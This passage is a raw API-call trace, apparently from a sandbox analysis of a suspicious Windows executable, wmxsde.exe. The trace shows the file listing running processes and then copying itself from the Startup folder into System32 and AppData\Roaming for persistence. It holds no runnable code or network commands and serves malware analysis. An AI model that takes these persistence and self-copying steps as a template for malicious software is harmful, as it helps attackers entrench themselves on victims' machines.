(lpString="smss.exe") returned 8 [0156.828] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.828] lstrlenW (lpString="csrss.exe") returned 9 [0156.828] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0156.829] lstrlenW (lpString="wininit.exe") returned 11 [0156.829] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.830] lstrlenW (lpString="csrss.exe") returned 9 [0156.830] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0156.830] lstrlenW (lpString="winlogon.exe") returned 12 [0156.830] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0156.831] lstrlenW (lpString="services.exe") returned 12 [0156.831] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0156.831] lstrlenW (lpString="lsass.exe") returned 9 [0156.831] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0156.832] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0156.832] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0156.832] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0156.832] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.833] lstrlenW (lpString="svchost.exe") returned 11 [0156.833] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.833] lstrlenW (lpString="svchost.exe") returned 11 [0156.834] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0156.834] lstrlenW (lpString="dwm.exe") returned 7 [0156.834] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.835] lstrlenW (lpString="svchost.exe") returned 11 [0156.835] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.835] lstrlenW (lpString="svchost.exe") returned 11 [0156.835] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.836] lstrlenW (lpString="svchost.exe") returned 11 [0156.836] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.836] lstrlenW (lpString="svchost.exe") returned 11 [0156.836] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.837] lstrlenW (lpString="svchost.exe") returned 11 [0156.837] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.837] lstrlenW (lpString="svchost.exe") returned 11 [0156.837] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.838] lstrlenW (lpString="svchost.exe") returned 11 [0156.838] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.838] lstrlenW (lpString="svchost.exe") returned 11 [0156.838] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.839] lstrlenW (lpString="svchost.exe") returned 11 [0156.839] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.839] lstrlenW (lpString="svchost.exe") returned 11 [0156.839] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0156.840] lstrlenW (lpString="spoolsv.exe") returned 11 [0156.840] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.840] lstrlenW (lpString="svchost.exe") returned 11 [0156.840] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0156.841] lstrlenW (lpString="audiodg.exe") returned 11 [0156.841] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0156.841] lstrlenW (lpString="taskhostw.exe") returned 13 [0156.842] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0156.842] lstrlenW (lpString="sihost.exe") returned 10 [0156.842] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.879] lstrlenW (lpString="svchost.exe") returned 11 [0156.880] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0156.880] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0156.880] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0156.881] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0156.881] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0156.882] lstrlenW (lpString="Memory Compression") returned 18 [0156.882] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0156.882] lstrlenW (lpString="MDMAgent.exe") returned 12 [0156.882] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0156.883] lstrlenW (lpString="taskhostw.exe") returned 13 [0156.883] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0156.884] lstrlenW (lpString="msoia.exe") returned 9 [0156.884] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0156.884] lstrlenW (lpString="explorer.exe") returned 12 [0156.884] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0156.885] lstrlenW (lpString="SearchUI.exe") returned 12 [0156.885] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0156.886] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0156.886] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0156.886] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0156.887] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0156.887] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0156.887] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0156.888] lstrlenW (lpString="mobsync.exe") returned 11 [0156.888] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0156.889] lstrlenW (lpString="wmxsde.exe") returned 10 [0156.889] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0156.889] lstrlenW (lpString="wmxsde.exe") returned 10 [0156.889] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 0 [0156.890] CloseHandle (hObject=0x240) returned 1 [0156.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7278e8 | out: hHeap=0x710000) returned 1 [0156.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x727978 | out: hHeap=0x710000) returned 1 [0156.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x726138 | out: hHeap=0x710000) returned 1 [0156.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7261f8 | out: hHeap=0x710000) returned 1 [0156.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7256f8 | out: hHeap=0x710000) returned 1 [0156.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x752a58 | out: hHeap=0x710000) returned 1 [0156.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x726118 | out: hHeap=0x710000) returned 1 [0156.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7262f8 | out: hHeap=0x710000) returned 1 [0156.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d9c8 | out: hHeap=0x710000) returned 1 [0156.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d838 | out: hHeap=0x710000) returned 1 [0156.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7261b8 | out: hHeap=0x710000) returned 1 [0156.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d748 | out: hHeap=0x710000) returned 1 [0156.890] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x754958 [0156.891] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x764960 [0156.891] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752968 [0156.891] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752968, Size=0x20) returned 0x74d810 [0156.891] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d810, Size=0x40) returned 0x727a98 [0156.891] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752b30 [0156.891] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752b30, Size=0x20) returned 0x74d900 [0156.891] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752a40 [0156.891] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752a40, Size=0x20) returned 0x74d748 [0156.891] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752ab8 [0156.891] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752ab8, Size=0x20) returned 0x74da90 [0156.891] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74da90, Size=0x40) returned 0x7278e8 [0156.891] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x764960, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe")) returned 0x47 [0156.891] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x774968 [0156.892] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x784970 [0156.892] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7529c8 [0156.892] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7529c8, Size=0x20) returned 0x74d5e0 [0156.892] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d5e0, Size=0x40) returned 0x7274f8 [0156.892] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7274f8, Size=0x80) returned 0x795220 [0156.892] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x795220, Size=0x100) returned 0x752fd8 [0156.892] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0156.892] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x752fd8 | out: hHeap=0x710000) returned 1 [0156.892] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\wmxsde.exe", lpDst=0x774968, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\wmxsde.exe") returned 0x1f [0156.892] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x784970 | out: hHeap=0x710000) returned 1 [0156.893] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x774968 | out: hHeap=0x710000) returned 1 [0156.893] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x24fd020 [0156.896] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752ab8 [0156.896] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752ab8, Size=0x20) returned 0x74d928 [0156.896] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7529b0 [0156.896] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7529b0, Size=0x20) returned 0x74d9a0 [0156.896] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0156.896] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0156.896] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0156.896] lstrlenW (lpString="kernel32.dll") returned 12 [0156.896] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d928 | out: hHeap=0x710000) returned 1 [0156.896] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.896] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d9a0 | out: hHeap=0x710000) returned 1 [0156.896] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0156.896] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\wmxsde.exe" (normalized: "c:\\windows\\system32\\wmxsde.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.898] CloseHandle (hObject=0x240) returned 1 [0156.898] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752ab8 [0156.898] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752ab8, Size=0x20) returned 0x74d798 [0156.898] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752ab8 [0156.898] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752ab8, Size=0x20) returned 0x74d9a0 [0156.898] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0156.898] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0156.898] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0156.898] lstrlenW (lpString="kernel32.dll") returned 12 [0156.898] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d9a0 | out: hHeap=0x710000) returned 1 [0156.898] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.898] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d798 | out: hHeap=0x710000) returned 1 [0156.898] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x24fd020 | out: hHeap=0x710000) returned 1 [0156.900] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x774968 [0156.901] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x784970 [0156.901] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752a40 [0156.901] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752a40, Size=0x20) returned 0x74d928 [0156.901] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d928, Size=0x40) returned 0x7274f8 [0156.901] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7274f8, Size=0x80) returned 0x794a28 [0156.901] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x794a28, Size=0x100) returned 0x752fd8 [0156.901] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0156.901] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x752fd8 | out: hHeap=0x710000) returned 1 [0156.901] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\wmxsde.exe", lpDst=0x774968, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\wmxsde.exe") returned 0x2b [0156.901] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x784970 | out: hHeap=0x710000) returned 1 [0156.902] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x774968 | out: hHeap=0x710000) returned 1 [0156.902] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x24fd020 [0156.905] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752968 [0156.905] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752968, Size=0x20) returned 0x74d810 [0156.905] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752968 [0156.905] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752968, Size=0x20) returned 0x74d928 [0156.905] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0156.905] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0156.905] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0156.905] lstrlenW (lpString="kernel32.dll") returned 12 [0156.905] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d810 | out: hHeap=0x710000) returned 1 [0156.905] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.905] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d928 | out: hHeap=0x710000) returned 1 [0156.905] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0156.906] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wmxsde.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wmxsde.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0156.909] ReadFile (in: hFile=0x240, lpBuffer=0x24fd020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24fd020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0156.960] WriteFile (in: hFile=0x244, lpBuffer=0x24fd020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24fd020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0156.963] ReadFile (in: hFile=0x240, 